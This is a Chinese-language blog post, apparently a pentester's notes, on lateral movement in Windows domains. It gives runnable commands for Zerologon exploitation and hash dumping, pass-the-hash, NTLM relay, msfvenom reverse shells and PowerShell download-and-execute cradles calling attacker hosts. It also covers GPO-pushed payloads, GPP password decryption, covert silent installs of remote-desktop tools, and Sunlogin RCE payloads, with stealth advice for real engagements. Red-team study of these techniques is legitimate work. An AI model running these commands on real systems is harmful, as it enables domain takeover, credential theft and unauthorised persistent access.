HacKerQWQ的博客空间

内网渗透之横向移动

Word count: 7kReading time: 30 min
2022/07/27 Share

简单记录一下内网中横向移动的方法

漏洞利用

Zero-logon

漏洞简介

CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞,此漏洞是微软8月份发布安全公告披露的紧急漏洞,CVSS评分为10分。未经身份认证的攻击者可通过使用 Netlogon 远程协议(MS-NRPC)连接域控制器来利用此漏洞,成功利用此漏洞的攻击者可获得域管理员权限。该漏洞由 Secura 公司的 Tom Tervoort 发现提交并命名为 ZeroLogon。

影响范围

Windows受影响版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

Samba受影响版本:

1
2
3
4.0 < Samba < 4.8 且 未配置 server schannel = yes

Samba > 4.0 且 Smb.conf配置文件中配置了server schannel = no或server schannel = auto

利用过程

域控主机:192.168.1.128,winserver2012

域内普通主机:192.168.1.130,winserver2008 R2

工具:

环境配置:

需要python环境,可上传安装包安装或者挂代理运行python脚本

在普通主机配置环境

1
2
3
//安装impacket环境
cd impacket-0.10.0/
pip3 install .

探测漏洞是否存在:

  1. 获取域控主机名和域控ip

    1
    2
    net group "domain controllers" /domain
    ping -a domainname

    获取域控主机名为DC$

    image-20220730222656756

    域控ip为192.168.1.128

    image-20220730222745041

  2. poc检测域控是否存在漏洞

    1
    2
    python zerologon_tester.py 域控主机名 域控ip
    python .\zerologon_tester.py DC$ 192.168.1.128

    返回 Success,说明漏洞很可能存在!

image-20220730224107270

漏洞攻击

  1. 置空DC的密码

exp:https://github.com/dirkjanm/CVE-2020-1472

1
2
python3 cve-2020-1472-exploit.py 域控主机名 域控ip
python cve-2020-1472-exploit.py DC$ 192.168.1.128

此时如果机器重启则很可能起不来,会出问题

image-20220730225414119

置空密码成功!此时需要尽快操作,否则可能脱域

  1. secretsdum.py导出域内所有用户的凭证

使用impacket中的secretsdump.py,因为置空了密码,所以这里无需密码就能导出hash

1
2
python secretsdump.py 域名/域控主机名@域控ip -no-pass
python secretsdump.py redteam.org/DC$@192.168.1.128 -no-pass

得到所有凭证

image-20220730230830159

域控内所有账户的hash都导出来了,包括本地用户和域用户

  1. 使用wmiexec.py远程登录

获取了域控的hash,可以进行远程登陆

1
2
python wmiexec.py doamin/dc_name@dc_ip -hashes :NTLM hash
python wmiexec.py redteam.org/administrator@192.168.1.128 -hashes :42899445a8a932c420bd63c9d377fbe3 -codec gbk

image-20220730231425252

恢复域控原始hash

  1. 导出 sam system 等⽂件到本地,获取域控机器上本地保存之前的 hash 值⽤于恢复,不然就脱域了
1
2
3
4
5
6
7
8
9
10
11
12
13
//切换到Temp目录
cd Windows\Temp
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
或者
//命令三合一
reg save HKLM\SYSTEM system.save&&reg save HKLM\SAM sam.save&&reg save HKLM\SECURITY security.save
//下载文件
lget system.save
lget sam.save
lget security.save
//lget system.save&&lget sam.save&&lget security.save

保存注册表

image-20220730231649056

下载注册表

image-20220730233948018

  1. 下载完后删除文件

    1
    2
    3
    4
    del /f system.save
    del /f sam.save
    del /f security.save
    //del /f system.save&&del /f sam.save&&del /f security.save

    image-202207302344109793. 之后通过 sam.save、security.save、system.save 这些⽂件获得原来域控机器上的 Ntlm Hash 值,⽤于恢复密码

1
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

image-20220730234842307

  1. 通过拿到 $MACHINE.ACC: 的值,然后进⾏恢复

    脚本下载:https://github.com/risksense/zerologon/blob/master/reinstall_original_pw.py

    1
    2
    3
    4
    $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:5ac3684c4ab3d2632da86a58bcc7820c

    python reinstall_original_pw.py 域控机器名 域控ip $MACHINE.ACC后半部分的值
    python reinstall_original_pw.py DC 192.168.1.128 aad3b435b51404eeaad3b435b51404ee:5ac3684c4ab3d2632da86a58bcc7820c

    image-20220731000423911

    ps: 这里域控机器名不能加$,显示了success也不一定成功,需要用脚本验证一下

  2. 验证密码是否恢复成功

再使用开始的secretsdum.py导出域内所有用户的凭证,可见使用空密码去获取域内的所有用户的凭证已经不行了

image-20220731000530531

这里不知道为什么还是能无密码查看,按理说应该不行

这个时候才是真正恢复成功!大家在实战的时候一定要在本地多次复现!别在实战中重置了域控的密码为空,结果你不会还原导致目标脱域了,你就lliang了!

PTH攻击

原理:https://hackerqwq.github.io/2021/07/01/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B9%8BLM%E3%80%81NTLM%E8%AE%A4%E8%AF%81%E5%AD%A6%E4%B9%A0%E5%8F%8A%E6%94%BB%E5%87%BB/#PTH%E5%93%88%E5%B8%8C%E4%BC%A0%E9%80%92%E6%94%BB%E5%87%BB

简单来说:获取到一个NTLM hash值,将它传递到目标机器通过认证,获取权限

限制条件:目标机器未打KB2871997补丁

mimikatz

1
2
mimikatz.exe privilege::debug "sekurlsa::pth /domain:workgroup /user:administrator /ntlm:4d6e43b2cdc951808100f5b1d09aac63 /run:cmd.exe" 
//传递hash

使用Metasploit进行PTH攻击

通常使用三个模块进行PTH攻击

1
2
3
auxiliary/admin/smb/psexec_command      // 在目标机器上执行系统命令              
exploit/windows/smb/psexec // 用psexec执行系统命令
exploit/windows/smb/psexec_psh // 使用powershell作为payload

使用smb/psexec模块进行攻击

1
2
3
4
5
6
7
use exploit/windows/smb/psexec
set rhosts 192.168.52.141
set smbuser administrator
set smbpass 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d
# 完整的Administrator用户的Hash
set smbdomain pentest.com
run

上面的Hash可以用明文密码也可以用Hash值,格式是LM Hash:NTLM Hash,若不清楚LM Hash可以用32个0代替
20210702114049
攻击成功,直接是SYSTEM权限,接下来可以构造黄金票据留后门。不要忘了设置通向内网的路由或者代理

crackmapexec进行攻击

命令

1
2
crackmapexec smb 192.168.2.2 -u administrator -H 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d -d pentest.com -x whoami
# -u 用户名 -H Hash值(可以没有LM部分) -d 域名 -x 执行的系统命令
1
2
3
4
5
root@kali:~/Desktop# crackmapexec smb 192.168.2.2 -u administrator -H 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d -d pentest.com -x whoami
SMB 192.168.2.2 445 JC-DC [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:JC-DC) (domain:pentest.com) (signing:True) (SMBv1:True)
SMB 192.168.2.2 445 JC-DC [+] pentest.com\administrator 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d (Pwn3d!)
SMB 192.168.2.2 445 JC-DC [+] Executed command
SMB 192.168.2.2 445 JC-DC pentest\administrator

利用WmiExec进行PTH攻击

1
python3 wmiexec.py -hashes 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d pentest/administrator@192.168.2.2 "whoami"

20210702122609
exe版本的同理

利用Invoke-Thehash进行Pth攻击

下载地址:https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-TheHash项目是一个基于.Net TCPClient,通过把NTLM hash传递给NTLMv2身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限

支持对内网IP进行批量PTH攻击!!!

1
2
3
IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.128:8000/Invoke-TheHash/Invoke-WMIExec.ps1');

IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.128:8000/Invoke-TheHash/Invoke-TheHash.ps1');Invoke-TheHash -Type WMIExec -Target 192.168.16.0/24 -Domain pentest.com -Username administrator -Hash 6ab1932ee89eb324fc92d609efe46c3d -Command "whoami" -verbose
  • -Target :目标主机名或IP地址/段。
  • -Username:用于身份验证的用户名。
  • -Domain:用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
  • -Hash:用于身份验证的NTLM密码哈希(格式:LM:NTLM 或 NTLM)。
  • -Command:在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的SCM。
    20210702124412

smbexec进行pth

1
2
3
4
#携带密码
python smbexec.py user:password@192.168.1.2
#携带hashes
python smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c user@192.168.1.2 cmd.exe

psexec进行pth

1
2
3
4
#携带密码
python psexec.py user:password@192.168.1.2
#携带hash值
python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c user@192.168.1.2 cmd.exe

NTLM hash Relay

原理:https://hackerqwq.github.io/2021/07/01/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B9%8BLM%E3%80%81NTLM%E8%AE%A4%E8%AF%81%E5%AD%A6%E4%B9%A0%E5%8F%8A%E6%94%BB%E5%87%BB/#%E8%8E%B7%E5%8F%96Net-NTLM-Hash

简单来说:可以通过LLMNR配合NetBIOSWPAD的方式获取Net-NTLM Hash,也可以通过**SMB Relay(SMB中继)**的方式进行哈希传递

前提条件:在局域网内

reponsder可以用lgandx的Responder项目中的responder.py代替

LLMNR和NetBIOS欺骗

在攻击机responsder开启监听

1
responder -I eth0 -f -v
  • -I:指定使用的网卡
  • -f:允许攻击者查看受害者的主机指纹
  • -v:显示详细信息,responder 在截获目标的 Net-NTLM Hash 后,会将 Net-NTLM Hash 记录在日志中,之后再次截获将不再显示 Net-NTLM Hash,要想再次显示 Net-NTLM Hash 则需要加上这个 -v 选项

此时在win7尝试连接未命名主机

1
2
net use \\bunny
dir \\bunny\c$

kali得到了Net-NTLM Hash:
20210702170303

利用WPAD劫持

利用LLMNR/NBNS投毒

利用条件
  • 浏览器设置了自动检测代理设置
    20210702172016
  • 攻击机在局域网内
利用原理

假如域内没有配置域名放置wpad.dat的话,就会使用LLMNR询问WPAD的IP,此时攻击者准备好wpad.dat文件,当LLMNR问询到攻击机时,就可以伪造网页要求输入账号密码获取Net-NTLM Hash,诱导下载exe文件等。

利用过程

在攻击机打开responder监听,并开启WDAP服务器

1
responder -I eth0 -r on -v -F on -w on
  • -w:开启 WPAD 服务
  • -F:强制进行

此时在win7(受害者主机)上访问baidu.com时,就会弹出要求输入账号密码的窗口
20210702172353
如果员工安全意识不强,输入了账号密码,就会被获取Net-NTLM Hash
20210702172454

SMB Relay

原理:https://hackerqwq.github.io/2021/07/01/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B9%8BLM%E3%80%81NTLM%E8%AE%A4%E8%AF%81%E5%AD%A6%E4%B9%A0%E5%8F%8A%E6%94%BB%E5%87%BB/#SMB-Relay-SMB%E4%B8%AD%E7%BB%A7-%E6%94%BB%E5%87%BB

利用原理

抓取用户的Net-NTLM Hash进行重放,也叫relay,SMB协议的Relay攻击是最直接有效的方法,可以直接控制该服务器(包括但不限于在远程服务器上执行命令、上传exe到远程主机上执行、dump 服务器的用户hash等等)。

域环境的SMBRelay

域环境底下域用户的账号密码Hash保存在域控的 ntds.dit里面。如下没有限制域用户登录到某台机子,那就可以将该域用户Relay到别人的机子,或者是拿到域控的请求,将域控Relay到普通的机子,比如域管运维所在的机子。(为啥不Relay到其他域控,因为域内就域控默认开启smb签名)

responder进行SMB Relay

利用过程

使用responder内的RunFinger.py工具扫描域内机器的SMB签名情况

1
python3 RunFinger.py -i 192.168.2.0/24

20210704161608
可以看到Signing是false的机器都是可以利用的

接下来使用MultiRelay.py开始监听,准备getshell

1
python3 MultiRelay.py -t 192.168.2.3 -u ALL

20210704162644
Responder.conf的SMB、HTTP设置为Off,不拦截Net-NTLM Hash,对请求作出响应
20210704162621
启动Responder,监听对应域内的网卡

1
responder -I eth0

在域控发出SMB请求给一个不存在的用户,触发LLNMR/NBNS,如

1
net use \\hhh

此时查看结果成功getshell,是SYSTEM权限
20210704163046

攻击总结

  1. 查看SMB签名的情况
1
python3 RunFinger.py -i 192.168.2.0/24
  1. MultiRelay.py设置要攻击的目标
1
python3 MultiRelay.py -t 192.168.2.3 -u ALL
  1. 设置responder,关闭SMB和HTTP
1
2
SMB = Off
HTTP = Off
  1. 开启responder监听
1
responder -I eth0
  1. 域控发出SMB请求
1
net use \\hhh

getshell

smbrelay脚本

  • 使用impacket中的smbrelay.py脚本进行攻击

攻击机本地开启smb服务器

1
python3 smbrelayx.py -h 192.168.2.3 -c whoami

受害机对攻击机发出SMB请求

1
net use \\192.168.2.128

执行命令成功
20210704165723

实际应用

现实中,只执行一条命令是不现实的,可以-e选项,通过让受害者运行本地的exe文件来维持权限

先生成exe文件

1
2
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.128 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\shell.exe
# x86/shikata_ga_nai是编码方式

然后运行smbrelayx.py脚本,当监听到smb请求时运行shell

1
2
python3 smbrelayx.py -h 192.168.2.3 -e /root/shell.exe
#python3 smbrelayx.py -h 攻击主机 -e 运行程序

开启metasploit,设置如下

1
2
3
4
set payload windows/metepreter/reverse_tcp
set LHOST 192.168.2.128
set AutoRunScript post/windows/manage/migrate
run

设置AutoRunScript是为了得到session之后迁移进程,因为smbrelayx在执行exe之后会remove file,导致session中断

此时win server2008访问smb服务器

1
net use \\192.168.2.128\c$

得到session
20210704171633

Metasploit的smb_relay模块

模块windows/smb/smb_relay

攻击方法,msf设置好后,受害者向攻击机发起smb请求,就能get到受害者的shell

(注意:Metasploit的SMBRelay只支持NTLMv1,所以在攻击一些机器时会出现“Failed to authenticate”的情况)

这个攻击手段就是将机器reflect回机子本身。然而微软在ms08-068中对smb reflect到 smb 做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。

Impacket的ntlmrelayx进行攻击

  1. 开启responder(开不开影响不大,开了更好,有响应)
1
responder -I eth0
  1. 使用ntlmrelayx进行监听攻击
1
2
python3 ntlmrelayx.py -h 192.168.2.3 -c whoami -smb2support
python3 ntlmrelayx.py -h 要攻击的主机 -c 执行命令 -smb2support(开启smb2支持)
  1. win server通过smb或者http访问攻击机
    20210704182258
  2. 查看结果
    20210704182014
  • 实际渗透过程中-c命令可以改为conbalt strike的powershell的命令或者Empire的

组策略利用

前提:域控权限

gpmc.msc打开组策略管理器

  • 如果使用Default Domain Policy最好添加Domain Users
  • Default Domain Ploicy对应**{31B2F340-016D-11D2-945F-00C04FB984F9}**
  • Default Domain Policy对应{6AC1786C-016F-11D2-945F- 00C04FB984F9}

详情:https://hackerqwq.github.io/2021/07/09/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B9%8BLDAP%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/#%E7%BB%84%E7%AD%96%E7%95%A5

下发msi

msfvenom生成msi,开启监听

1
2
3
4
5
6
7
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.91.129 lport=1234 -f msi > 1.msi
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.91.129
set lport 1234
run

软件安装指定1.msi,需要在UNC路径下,如\\<file server>\<share>\<file name>.msi,这里将安装包放在C:\Windows\Temp下,然后共享文件夹,设置Domain Users的读取权限,记得安全选项卡也要设置,生成共享路径\\dc\Temp

image-20220801155758146

设置组策略计算机配置-策略-软件设置-软件安装选择在UNC路径的1.msi软件,选择已分配

  • 已发布需要用户在添加/删除程序的从网络路径安装程序自己安装
  • 已分配则是自动安装

image-20220801173118295

设置普通用户具有安装msi的权限

1
2
3
4
5
6
7
计算机配置-策略-管理模板-Windows组件-Windows 安装程序-永远以高特权进行安装:选择启用
用户配置-策略-管理模板-Windows组件-Windows 安装程序-永远以高特权进行安装:选择启用
注意:

修改完后注册表内有如下两处新键值
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001

服务器更新组策略+客户端更新组策略

1
gpupdate /force

客户端重新登录发现自动运行

image-20220801173546203

推出特定的启动脚本

用户配置-Windows设置-脚本-新建中,显示文件,将准备好的bat脚本拖入即可

image-20220801180857427

客户端强制更新

1
gpupdate /force

弹计算器

image-20220801183941078

OU批量下发脚本

创建一个OU(GPOTEST),里面新建一个用户,gpo

image-20220801151723320

gmc.msc打开组策略管理,添加一个新的组策略(ADControl)

image-20220801151819078

通过右键ADControl——编辑——用户配置——策略——windows设置——脚本——登录——显示文件——新建ADControl.bat

1
cmd.exe /c calc

image-20220801151942558

然后将组策略管理器界面的GPOTEST链接到该组策略,右键链接到现有的GPO

image-20220801152051552

此时,服务器跟客户端都要强制更新组策略

1
gpupdate /force

更新完成后,可以在客户端看到服务器下发的组策略,说明更新成功了

image-20220801152317927

因为我们组策略规则设定了用户登录时会触发文件,因此需要重新登录一下,成功弹出计算器

image-20220801152426090

计划任务

20210716180429

这种方式能够按照时间定时的收集信息,相对来说比较隐蔽。

这里演示下如何使用New-GPOImmediateTask.ps1

1.导入powershell中管理GPO的模块&创建一个作用整个域的GPO

1
2
Import-Module GroupPolicy –verbose
new-gpo -name TestGPO | new-gplink -Target "dc=ns,dc=com"

2.执行脚本添加计划任务

1
New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc\sysvol\ns.com' Command 'powershell.exe' -CommandArguments '-nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.1.106:8022/a''))"'

img

img

3.强制更新组策略,或者默认等待90分钟等待组策略强制更新

1
Invoke-GPUpdate -Computer "redteam\USS"

4.清理痕迹

1
Remove-GPO -Name TestGPO

GPP

组策略首选项(Group Policy Preference)

原理:https://hackerqwq.github.io//2021/09/17/渗透测试之提权篇三-Windows提权/#组策略首选项提权

简要说明:当域控批量设置域内机器的密码时,会生成Groups.xml文件,里面包含密码,经过解密即可获得明文,从而批量上线

直接搜索

1
2
3
for /r \\dc/sysvol %i in (*.vbs) do @echo %i
for /r \\dc/sysvol %i in (*.bat) do @echo %i
dir /s /a \\DC\SYSVOL\*.xml

image-20220801184621835

继续查看,找到文件Groups.xml,路径为:

1
2
\\DC\SYSVOL\ns.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Prefere
nces\Groups\Groups

复制点击查看:

image-20220801184712146

其中的关注点为cpassword:

1
PP6ZyJT6tj+wErLmSjZzcw

复制

此密码的加密方式为AES-256。尽管此加密十分难以破解,但是微软公司将其加密的密钥公开了。

The 32-byte AES key is as follows:

1
2
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

复制

地址:2.2.1.1.4 Password Encryption

密码破解方式

kali命令

针对此密码,我们可以直接使用kali中自带的命令gpp-decrypt进行破解:

可以看到破解出的abc123@

msf模块

可使用msf后渗透模块run post/windows/gather/credentials/gpp

效果如下:

img

PowerSploit

工具地址:PowerSploit

我们利用的是其中的Get-GPPPassword模块。

检索通过组策略首选项推送的帐户的明文密码和其他信息。

如下三种使用方法:

1
2
3
powershell -executionpolicy bypass -file Get-GPPPassword.ps1
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword

image-20220801185034901

脚本利用

拿下域管权限后可能防火墙原因无法访问目标电脑,这时候可以利用组策略进行横向。

通过组策略来下放恶意软件、创建/修改计划任务、降级凭据保护、向计算机添加新的帐户到本地管理员组、启用明文密码提取等。

https://github.com/FSecureLABS/SharpGPOAbusehttps://github.com/FuzzySecurity/StandIn 实现计划任务、启动脚本、添加本地管理员用户。

https://github.com/Hackndo/pyGPOAbuse 可以实现计划任务、添加本地管理员。

https://github.com/rootSySdk/PowerGPOAbuse 可以实现的比较全。

powershell实现

1
2
3
4
5
6
7
8
#加载GroupPolicy模块 (win7没有,win10有)
Import-Module GroupPolicy
#创建一个GPO并将GPO链接到域test.local,需要域管权限。
new-gpo -name TestGPO | new-gplink -Target "dc=test,dc=local"
#添加定时任务 --TargetDnsName指定计算机
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update2" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c calc.exe" --GPOName "TestGPO2" --FilterEnabled --TargetDnsName PC-jack-0day.0day.org
#删除GPO
Remove-GPO -Name TestGPO2

远程登录

原生SMB

简单命令

适用于win机器

1
2
net use \\DC.redteam.org
dir \\redteam.org\c$

smblient

smbclient在kali中内置,适用于搭建隧道本机访问的情况

1
2
3
4
5
6
7
8
#列出目标机器共享的目录
smbclient -L //192.168.1.1
#连接目标ip
smbclient -N //192.168.1.1/c$ -U admin
#上传文件(需要进入到文件夹下)
put hello.txt
# 下载文件
get shell.exe

如果遇到

1
Unable to connect with SMB1 -- no workgroup available

可以尝试在/etc/samba/smb.conf中的workgroup下添加

1
2
client min protocol = NT1
client max protocol = SMB3

smbexec

用法:

1
2
3
4
5
6
7
8
.\smbexec user:pass@ip
python smbexec.py test/administrator:1qaz@WSX@192.168.40.156

#携带密码
python smbexec.py user:password@192.168.1.2

#携带hashes
python smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c user@192.168.1.2 cmd.exe

RDP单用户多点登录

关键是修改组策略的一个设置,首先需要创建一个administrators组的用户用于远程登录(防止将正在登录的管理员踢下线 ),修改组策略,实现单用户多点登录

参考链接:https://blog.csdn.net/Aaron_Miller/article/details/109534277

如果目标是家庭阉割版,可以先开启功能,使用SuperRDP项目

需要使用1.x版本,因为2.x需要收费

需要关闭杀软

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 运行SuperRDP.exe
--------------------------------------------------------
---------SuperRDP for Windows 10 Home Version-----------
-------------Copyright (c) 2021 anhkgg.com--------------
-------------anhkgg | 公众号:汉客儿 -------------------
--------------------------------------------------------

--------------------------------------------------------

[+] SuperRDP initialize...

[*] SuperRDP already installed? 【Yes!】

[+] SuperRDP initialize success...

--------------------------------------------------------

Please select option:
1: Install SuperRDP to Program Files folder (default)
2: Uninstall SuperRDP
3: Force restart Terminal Services

>

抠1安装即可

新建用户拉入管理员组

1
2
net user hackerqwq admin@123! /add
net user administrators hackerqwq /add

rdp上去更改组策略,路径:计算机配置-管理模板-Windows组件-远程桌面服务-远程桌面会话主机-连接

image-20220903162258463

修改最大连接数为大于1

image-20220903162135687

即可远程登录

  • win10实测还需要对方确认或者等待30秒,winserver2008、winserver2012不需要

PSExec

当有其他机器权限的时候直接使用这条命令即可远程执行命令

带上-accepteula参数可以防止弹窗

1
2
3
4
5
psexec.exe -accepteula \\192.168.93.224 cmd
#携带密码
python psexec.py user:password@192.168.1.2
#携带hash值
python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c user@192.168.1.2 cmd.exe

image-20211225203251660

FTP

下载文件

1
2
3
4
5
ftp//运行命令ftp进入交互shell
ftp>open ip:port
ftp>username
ftp>password
ftp>get target.exe//下载target.exe

image-20220725222911186

GotoHTTP

优点:

  • B2C模式,无需安装控制端软件,有浏览器就可以远控。
  • 流量走https协议,只要目标放行443端口出口就可以实现内网穿透。
  • 在低带宽也可以使用,运行占用内存极低,控制时占用CPU仅为0%-3%。
  • 被控端在类Linux系统上支持图形界面(GUI)和字符界面(CLI)。

缺点:

  • 需要管理员权限运行
  • 一些行为(网络唤醒远程主机)需要加载驱动,导致运行时360安全卫士会拦截这行为,其他杀软则不会拦截。

下载链接:

1
http://www.gotohttp.com/goto/download.12x

将被控端放置在目标机器上,此处直接放上去运行,类比成webshell场景即可

1
./GotoHTTP_x64.exe

可以看到此时会弹窗

image-20220727204924999

读取gotohttp.ini文件获取电脑ID和控制码

image-20220727205108036

在官网连接即可

1
https://www.gotohttp.com/

image-20220727205224382

Rustdesk

优点:可以普通权限运行,并且支持纯内网环境

官网:https://rustdesk.com/zh/

下载链接:https://gitee.com/rustdesk/rustdesk/releases

下载portable免安装版本

image-20220727210206392

在被控端和控制端放置rustdesk的exe

win7被控端

image-20220728102742920

winserver2008控制端

image-20220728102815994

在被控端运行rustdesk.exe,此时会弹窗,所以需要确定目标机器没有人在操作的时候远程连接

1
.\rustdesk-1.1.9.exe

image-20220728102946582

查找配置文件,注意密码只有在桌面上将鼠标移到密码处时才会生成密码,因此我们可以直接在配置文件中自定义密码

1
C:\Users\用户名\AppData\Roaming\RustDesk\config

image-20220728103352342

同时需要开启ip直连,也可以修改默认连接端口,修改RustDesk2.toml文件(只需要修改被控端)

1
2
3
4
#开启IP直连
direct-server='Y'
#修改端口
direct-access-port = '443'

然后重启rustdesk.exe,输入IP端口连接即可

image-20220728110458925

Todesk

优点:方便快捷

缺点:需要联网

简介

ToDesk 是一款多平台远程控制软件,支持主流操作系统Windows、Linux、Mac、Android、iOS跨平台协同操作。ToDesk支持任何网络环境下的远程实现,4.0版本已经开放100台设备列表。

安装命令

静默安装

1
ToDesk_Setup.exe /S

设置安全密码

1
2
3
4
5
默认安装路径
C:\Program Files (x86)\ToDesk\ToDesk.exe

ToDesk.exe -setpasswd password
eg:ToDesk.exe -setpasswd 123456

查看运行状态

1
2
3
4
默认安装路径
C:\Program Files (x86)\ToDesk\ToDesk.exe

C:\Program Files (x86)\ToDesk\ToDesk.exe -status

利用场景

未安装todesk

在冰蝎webshell管理工具中上传todesk安装包
071444321736b7090d2b78d5b6f17ffb
静默安装(测试环境在cs的Administrator权限运行成功)

1
ToDesk_Setup.exe /S

可以看到已经安装成功,但是依然会有弹窗(最好是管理员不在线情况下使用)
bb9326a2c294234ab6fd15288a2db99b
获取密码方式
1.设置安全密码

安全密码不是连接密码

1
ToDesk.exe -setpasswd 123456

image-20220802180431241

将ToDesk.exe重启,生成clientid

然后读取设备代码,即clientid,然后准备进行远程连接

1
type "C:\Program Files (x86)\ToDesk\config.ini"

image-20220802180735170

2.读取临时密码
从config.ini中读取到tempAuthPassEx,替换到本机的config.ini,重启todesk

image-20220802181112565

获取到密码,远程连接

image-20220802181211676

已经安装todesk的情况也是一样的,通过将目标机器的密码替换到本机就可以获得密码

获取历史连接记录

ToDesk连接一台主机后会在默认安装目录下生成一个json格式文件,在已登录状态和未登录状态的文件命名方式不太一样。其中两种登陆状态的文件路径分别如下

1
2
C:\Program Files (x86)\ToDesk\devlist_******.json
C:\Program Files (x86)\ToDesk\userInfo.json

这个文件主要用于存储历史连接记录,只需找到UserId(设备代码)和PassEx密码,然后利用配置文件覆盖的方式将PassEx解密得到密码明文,最后再用目标主机ToDesk的设备代码和密码连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"DeviceInfo" : [
{
"Height" : 723,
"LastPath" : "",
"PassEx" : "77075*******0ab54fee1e13935e5392771c24c418a6d526e3ab83ef578d215ebd87467876fd7f55312fb8dbbe9c478e35da8a3069a2",
"PrivacyScreen" : 0,
"Quality" : 0,
"ResolutionX" : 0,
"ResolutionY" : 0,
"ScreenMode" : 0,
"UserId" : "767***368",
"Voice" : 0,
"Width" : 1368
}
]
}

无法获取密码情况

有时候不能设置安全密码,并且读取的出来的密码也不是正常的6位密码,我们可以直接kill todesk进程(先taskkill ToDesk_Service.exe所在进程)然后给目标机器修改config文件,替换成我们设置的密码,再重启todesk。

总结

todesk是在一些特殊的环境下进行使用,存在很多不足:
1.需要管理员权限
2.目标机器锁屏需要密码
3.体积太大
4.很容易被发现

向日葵

远程代码执行漏洞(CNVD-2022-10270/CNVD-2022-03672)

漏洞简介

SunloginClient 启动后会在 40000 以上随机开放一个web端口,认证有问题可以直接通过cgi-bin/rpc?action=verify-haras获取cid 执行回显rce

影响版本:

1
2
向日葵个人版   Windows <= 11.0.0.33
向日葵简约版 <= V1.0.1.433152021.12

漏洞利用

安装漏洞版本向日葵,安装包

  • 手动测试

    nmap扫描

    1
    nmap -p 40000-65535 -T4 192.168.119.151

    image-20220821115342154

    获取session

    1
    /cgi-bin/rpc?action=verify-haras

    image-20220821114956127

    Cookie添加CID

    1
    Cookie: CID=DTOAQFngEPZBDNNp5QLOYftzErN7RBCA

    执行命令

    1
    2
    3
    /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+%20pwd

    /check?cmd=nslookup..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+%20pwd

    image-20220821115235266

  • 工具扫描

    1. sunlogin_rce

      探测

      1
      .\xrkRce.exe -h 192.168.119.151/24 -p 40000-65535

      image-20220821114721261

      利用

      1
      .\xrkRce.exe -h 192.168.119.151 -p 51968 -c whoami -t rce

      image-20220821114729062

    2. Sunlogin-rce

      1
      2
      python .\sunlogin-fuzz.py -t 192.168.119.0/24
      python .\sunlogin-fuzz.py -t 192.168.119.151

      image-20220821115649333

    3. sunlogin-exp-gui-v1-0.jar

      • 填入ip,指定端口40000-65535,portscan扫描端口

      • 将爆破出来的ip+端口填入下方,attack即可

      image-20220821120056619

配置文件解密

https://blog.csdn.net/csdnmmd/article/details/125340352

参考链接

